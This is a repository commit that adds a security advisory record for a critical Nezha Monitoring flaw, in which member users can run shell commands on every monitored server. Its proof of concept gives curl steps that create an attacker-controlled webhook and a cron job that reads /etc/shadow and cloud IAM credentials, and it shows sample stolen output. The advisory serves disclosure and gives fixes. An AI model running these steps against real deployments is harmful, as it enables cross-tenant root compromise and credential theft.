Skip to content

Commit 86e282b

Browse files
1 parent f3f376a commit 86e282b

2 files changed

Lines changed: 119 additions & 0 deletions

File tree

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-99gv-2m7h-3hh9",
4+
"modified": "2026-05-23T00:17:58Z",
5+
"published": "2026-05-23T00:17:58Z",
6+
"aliases": [
7+
"CVE-2026-46716"
8+
],
9+
"summary": "Nezha Monitoring: RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron",
10+
"details": "## Summary\n\n`nezha`'s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The cron routes `POST /api/v1/cron` and `PATCH /api/v1/cron/:id` are wired through `commonHandler` (any authenticated user) rather than `adminHandler`, and the per-server permission check on cron creation has a vacuous-true bypass.\n\nA `RoleMember` user can create a scheduled cron task with `Cover=CronCoverAll, Servers=[]` and an arbitrary `Command`. At every tick of the scheduler, the dashboard pushes that command to **every server in the global `ServerShared` map** — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook.\n\nNet effect: any `RoleMember` (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## The auth gate\n\n```go\n// cmd/dashboard/controller/controller.go:131-135\nauth.GET(\"/cron\", listHandler(listCron))\nauth.POST(\"/cron\", commonHandler(createCron)) // <-- commonHandler, not adminHandler\nauth.PATCH(\"/cron/:id\", commonHandler(updateCron)) // <-- ditto\nauth.GET(\"/cron/:id/manual\", commonHandler(manualTriggerCron))\nauth.POST(\"/batch-delete/cron\", commonHandler(batchDeleteCron))\n```\n\nCompare with `/user` (adminHandler-gated). `commonHandler` (controller.go:214-218) only requires JWT auth — any role passes.\n\n## The vacuous-true permission bypass\n\n```go\n// cmd/dashboard/controller/cron.go:45-85\nfunc createCron(c *gin.Context) (uint64, error) {\n var cf model.CronForm\n var cr model.Cron\n if err := c.ShouldBindJSON(&cf); err != nil { return 0, err }\n\n // BUG: empty cf.Servers iterates zero items, returns true vacuously.\n if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) {\n return 0, singleton.Localizer.ErrorT(\"permission denied\")\n }\n\n cr.UserID = getUid(c)\n cr.TaskType = cf.TaskType\n cr.Name = cf.Name\n cr.Scheduler = cf.Scheduler\n cr.Command = cf.Command // <-- attacker-controlled shell\n cr.Servers = cf.Servers // <-- empty []\n cr.PushSuccessful = cf.PushSuccessful\n cr.NotificationGroupID = cf.NotificationGroupID\n cr.Cover = cf.Cover // <-- CronCoverAll = 1\n\n if cr.TaskType == model.CronTypeCronTask && cr.Cover == model.CronCoverAlertTrigger {\n return 0, singleton.Localizer.ErrorT(\"scheduled tasks cannot be triggered by alarms\")\n }\n\n var err error\n if cf.TaskType == model.CronTypeCronTask {\n if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil {\n return 0, err\n }\n }\n\n if err = singleton.DB.Create(&cr).Error; err != nil {\n return 0, newGormError(\"%v\", err)\n }\n\n singleton.CronShared.Update(&cr)\n return cr.ID, nil\n}\n```\n\n`ServerShared.CheckPermission` (singleton.go:249-261) iterates `idList`; with `cf.Servers == []`, the for-range runs zero times and returns `true`. So a member can submit a cron with `Servers=[]` and skip the permission check entirely.\n\n## The cross-tenant fanout sink\n\n```go\n// service/singleton/crontask.go:133-181\nfunc CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {\n crIgnoreMap := make(map[uint64]bool)\n for _, server := range cr.Servers {\n crIgnoreMap[server] = true\n }\n return func() {\n if cr.Cover == model.CronCoverAlertTrigger {\n // ... (alert-only path; not used here)\n return\n }\n\n // BUG: iterates EVERY server in global state, no per-server permission check.\n for _, s := range ServerShared.Range {\n if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] {\n continue // skip ignored\n }\n if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] {\n continue\n }\n if s.TaskStream != nil {\n s.TaskStream.Send(&pb.Task{\n Id: cr.ID,\n Data: cr.Command, // <-- shell command, run as agent UID (often root)\n Type: model.TaskTypeCommand,\n })\n }\n }\n }\n}\n```\n\nCompare with the **service**-task path, which DOES gate per-server (`canSendTaskToServer` at `cmd/dashboard/rpc/rpc.go:179-190` enforces `task.UserID == server.UserID || taskOwnerIsAdmin`). The cron path skips that check entirely.\n\n## The output-exfil channel\n\n```go\n// service/rpc/nezha.go:56-76\ncase model.TaskTypeCommand:\n cr, _ := singleton.CronShared.Get(result.GetId())\n if cr != nil {\n var curServer model.Server\n copier.Copy(&curServer, server)\n if cr.PushSuccessful && result.GetSuccessful() {\n singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf(\"[%s] %s, %s\\n%s\", singleton.Localizer.T(\"Scheduled Task Executed Successfully\"),\n cr.Name, server.Name, result.GetData()), \"\", &curServer)\n }\n if !result.GetSuccessful() {\n singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf(\"[%s] %s, %s\\n%s\", singleton.Localizer.T(\"Scheduled Task Executed Failed\"),\n cr.Name, server.Name, result.GetData()), \"\", &curServer)\n }\n }\n```\n\n`result.GetData()` is the agent's stdout/stderr. With `cr.PushSuccessful = true` set by the attacker, the command output is exfil'd to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via `POST /api/v1/notification`) and Groups (`POST /api/v1/notification-group`), and these are owned by the member — `NotificationShared.CheckPermission` passes. So the attacker creates a member-owned webhook pointing at `https://attacker.example.com/exfil`, then references it in the cron.\n\n## End-to-end PoC\n\nPre-conditions: attacker has `RoleMember` credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled.\n\nStep 0: Get JWT (standard login).\n\n```bash\nTOKEN=$(curl -sX POST -H 'Content-Type: application/json' \\\n -d '{\"username\":\"member\",\"password\":\"hunter2\"}' \\\n http://nezha.example.com/api/v1/login | jq -r .token)\n```\n\nStep 1: Create a webhook notification + group owned by the member, pointing at attacker server.\n\n```bash\nNID=$(curl -sX POST -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\n -d '{\"name\":\"x\",\"url\":\"https://webhook.site/<attacker>\",\"request_method\":2,\"request_type\":1,\"verify_tls\":false,\"skip_check\":true}' \\\n http://nezha.example.com/api/v1/notification | jq -r .data)\n\nGID=$(curl -sX POST -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\n -d \"{\\\"name\\\":\\\"g\\\",\\\"notifications\\\":[$NID]}\" \\\n http://nezha.example.com/api/v1/notification-group | jq -r .data)\n```\n\nStep 2: Create the cross-tenant cron.\n\n```bash\ncurl -sX POST -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\n -d \"{\\\"name\\\":\\\"x\\\",\\\"task_type\\\":0,\\\"scheduler\\\":\\\"*/1 * * * * *\\\",\\\"command\\\":\\\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"servers\\\":[],\\\"cover\\\":1,\\\"push_successful\\\":true,\\\"notification_group_id\\\":$GID}\" \\\n http://nezha.example.com/api/v1/cron\n```\n\nStep 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From `c1c1cd1.../webhook.site/<attacker>`:\n\n```\n[Scheduled Task Executed Successfully] x, admin-prod-db-01\nuid=0(root) gid=0(root) groups=0(root)\nadmin-prod-db-01.internal\nroot:$6$KfTdXrLP$...\nASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token\n```\n\n(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)\n\n## Reachability — additional notes\n\n- Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via `singleton.Conf.Oauth2[provider]`. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE.\n- The nezha agent typically runs as **root** (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses `sudo systemctl`.\n- The attack works whether `Cover=CronCoverAll` (deny-list, empty) or `Cover=CronCoverIgnoreAll` (allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step). `Cover=CronCoverAll, Servers=[]` is the simplest payload.\n\n## Suggested fix\n\n1. **Switch `/cron` writes to `adminHandler`.** Same fix as the `/user` and `/setting` routes already use.\n\n ```go\n auth.POST(\"/cron\", adminHandler(createCron))\n auth.PATCH(\"/cron/:id\", adminHandler(updateCron))\n auth.GET(\"/cron/:id/manual\", adminHandler(manualTriggerCron))\n auth.POST(\"/batch-delete/cron\", adminHandler(batchDeleteCron))\n ```\n\n2. **Per-server permission gate in `CronTrigger`.** Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent of `canSendTaskToServer(task, server)` (already used in `service/rpc/rpc.go:179-190` for service tasks) before each `s.TaskStream.Send()`:\n\n ```go\n for _, s := range ServerShared.Range {\n if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) {\n continue\n }\n // ... existing send logic\n }\n ```\n\n3. **Reject empty `Servers` for `Cover=CronCoverAll`.** A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:\n\n ```go\n if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 {\n return 0, errors.New(\"a cover-all cron must explicitly list at least one ignored server\")\n }\n ```\n\n4. Optional: forbid `cf.PushSuccessful=true` for non-admin to slow down the output-exfil step.\n\n## Severity\n\n- **CVSS 3.1:** Critical — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` ≈ 9.0.\n - PR:L because attacker needs `RoleMember` (admin-issued, or OAuth2 auto-bind).\n - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).\n - C/I/A:H because RCE-as-root is the primary impact.\n- **Auth:** authenticated `RoleMember` (Role == 1).\n- **CWE:** CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha` master @ `50dc8e660326b9f22990898142c58b7a5312b42a`.\n- Code locations:\n - Auth gate: `cmd/dashboard/controller/controller.go:131-135` (commonHandler), 214-236 (handler defs)\n - Bypass: `cmd/dashboard/controller/cron.go:53-55` (vacuous-true `CheckPermission` on empty `cf.Servers`)\n - Sink: `service/singleton/crontask.go:133-181` (`CronTrigger` iterates all servers)\n - Output exfil: `service/rpc/nezha.go:56-76`\n - Comparison (correct gating): `cmd/dashboard/rpc/rpc.go:179-190` (`canSendTaskToServer` for service tasks)\n\n## Reporter\n\nEddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's `SECURITY.md` mentions email `hi@nai.ba`; happy to follow up there if the maintainer prefers email coordination.\n\nThis is a follow-up to the same auth-bypass class as `GHSA-w4g9-mxgg-j532` (NEZHA-001 — `/notification` SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.\n\n---\n\n## Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)\n\nFiling channel issue: `nezhahq/agent` has private vulnerability reporting disabled (verified via `GET /repos/nezhahq/agent/private-vulnerability-reporting`), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.\n\n**Summary.** The dashboard→agent control channel uses plaintext gRPC by default. `agentConfig.TLS` zero-value is `false`; the install script's `[y/N]` prompt defaults to `false`. `AuthHandler.RequireTransportSecurity()` returns `false`. An on-path attacker on the dashboard↔agent network path captures `client_secret`+`client_uuid`, terminates the agent's TCP connection, and injects a `CommandTask` over plaintext gRPC. The agent runs the task via `sh -c <attacker-string>` as the systemd-installed UID (typically root).\n\n**Adjacent-network attack vector** (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).\n\n**Why filable.** This *completes the threat model* for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.\n\n**Severity:** High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.\n\n**Suggested fix.**\n1. Make TLS the install-script default (`[Y/n]`) instead of `[y/N]`.\n2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext.\n3. Add `AuthHandler.RequireTransportSecurity()` returning `true` unconditionally.\n4. Document this as a **must-enable** in the agent install README.\n\nDisclosure draft is on file in the moneyhunter campaign workspace under `findings/NEZHA-AGENT-001-DISCLOSURE.md` and `findings/NEZHA-AGENT-001.yaml` — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on `nezhahq/agent`).\n\n— Eddie Ran",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/nezhahq/nezha"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "1.4.0"
29+
},
30+
{
31+
"fixed": "1.14.15-0.20260517022419-d7526351cf97"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nezhahq/nezha"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-269",
51+
"CWE-78",
52+
"CWE-862"
53+
],
54+
"severity": "CRITICAL",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-05-23T00:17:58Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)